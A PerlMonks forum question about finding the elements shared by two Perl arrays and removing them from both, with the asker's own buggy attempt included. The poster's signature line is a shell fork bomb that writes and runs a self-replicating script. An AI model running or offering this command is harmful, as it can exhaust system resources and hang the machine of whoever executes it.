http://qs321.pair.com?node_id=532810

ibanix has asked for the wisdom of the Perl Monks concerning the following question:

After being away from perl coding for almost two years, I'm taking it up again. I have what feels like a rather trivial problem, but I'm not solving it very well.

I have two arrays, call them 'A' and 'B'. I need to produce an array 'C' which has only the elements present in both 'A' and 'B'. Furthermore, if an element IS found in both 'A' and 'B', I need to remove it from those arrays.

The end result is an array with elements from both starting arrays, and the two starting arrays with only the elements not present in both.

I can produce the joint list, but am not clear on how to weed the other two.

I tried something like this:
my @A = [ '1', '2', '4', '8' ]; my @B = [ '1', '3', '6', '8' ]; my @C; foreach my $A (@A) { foreach my $B (@B) { if ($A == $B) { push @C, $A; } // something here to take the elements out? } }
I also tried pop each value as I looped... with unhappy results.

Any help welcome, and thank you.
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;